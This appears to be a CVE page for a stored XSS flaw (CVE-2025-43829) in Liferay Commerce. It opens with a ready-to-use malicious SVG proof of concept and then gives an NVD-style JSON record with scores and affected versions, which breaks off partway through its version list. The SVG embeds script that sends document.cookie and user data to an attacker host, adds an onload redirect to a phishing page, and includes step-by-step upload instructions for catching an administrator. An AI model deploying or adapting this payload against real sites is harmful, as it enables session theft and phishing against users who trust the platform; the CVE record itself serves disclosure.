CVE-2025-43829

<!-- CVE-2025-43829 PoC: Malicious SVG file for Stored XSS in Liferay Commerce Diagram Products --> <!-- Save the following content as 'malicious.svg' and upload it as a diagram type product resource in Liferay Commerce --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500" viewBox="0 0 500 500"> <!-- Malicious JavaScript payload embedded in SVG --> <script type="text/javascript"> // Steal session cookies and send to attacker's server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie); // Alternatively, perform actions on behalf of the victim // fetch('/api/jsonws/user/get-current-user', {credentials: 'include'}) // .then(r => r.json()) // .then(data => { // new Image().src = "https://attacker-server.com/userinfo?" + JSON.stringify(data); // }); </script> <!-- Event handler based payload (alternative trigger) --> <rect x="0" y="0" width="500" height="500" fill="#ffffff" onload="document.location='https://attacker-server.com/phishing?ref='+document.domain"/> <!-- Visible content to disguise the malicious payload --> <circle cx="250" cy="250" r="100" fill="#4A90E2" stroke="#333" stroke-width="2"/> <text x="250" y="260" text-anchor="middle" font-family="Arial" font-size="20" fill="white">Product Diagram</text> </svg> <!-- Usage: 1. Login to Liferay Commerce as an authenticated user (low privilege required) 2. Navigate to Commerce > Products > Create a diagram type product 3. Upload this malicious.svg file as the product's diagram/image resource 4. Wait for a victim (e.g., admin or other users) to view the product page 5. The embedded JavaScript will execute in the victim's browser context -->

{"cve": {"id": "CVE-2025-43829", "sourceIdentifier": "[email protected]", "published": "2025-10-08T14:15:42.873", "lastModified": "2025-12-15T18:02:19.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored cross-site scripting (XSS) vulnerability in diagram type products in Commerce in Liferay Portal 7.4.3.18 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, and 7.4 update 18 through update 92 allows remote attackers to inject arbitrary web script or HTML via a crafted payload injected into a SVG file."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.q3.1", "versionEndExcluding": "2023.q3.9", "matchCriteriaId": "C3ED7CF1-6D8A-40F7-A009-F3A800F955BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.q4.0", "versionEndExcluding": "2023.q4.6", "matchCriteriaId": "7C41E249-91C4-4B2D-A8D2-C953A463E14F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:-:*:*:*:*:*:*", "matchCriteriaId": "6F6A98ED-E694-4F39-95D0-C152BD1EC115"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:fix_pack_1:*:*:*:*:*:*", "matchCriteriaId": "2CD6861A-D546-462F-8B22-FA76A4AF8A9C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:fix_pack_2:*:*:*:*:*:*", "matchCriteriaId": "324BB977-5AAC-4367-98FC-605FF4997B3F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:service_pack_1:*:*:*:*:*:*", "matchCriteriaId": "2BBA40AC-4619-434B-90CF-4D29A1CA6D86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:service_pack_2:*:*:*:*:*:*", "matchCriteriaId": "135BED68-C2EC-4EE7-9138-91E0EE3608EB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:service_pack_3:*:*:*:*:*:*", "matchCriteriaId": "728DF154-F19F-454C-87CA-1E755107F2A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:update1:*:*:*:*:*:*", "matchCriteriaId": "35F42314-AC3F-45B6-8BF8-49811E5F2FAB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:update10:*:*:*:*:*:*", "matchCriteriaId": "AA984F92-4C6C-4049-A731-96F587B51E75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:update11:*:*:*:*:*:*", "matchCriteriaId": "CADDF499-DDC4-4CEE-B512-404EA2024FCB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.3:update12:*:*:*:*:*:*", "matchCriteriaId": "9EC64246-1039-4009-B9BD-7828FA0FA1C5"}, {"vulnerable": ... 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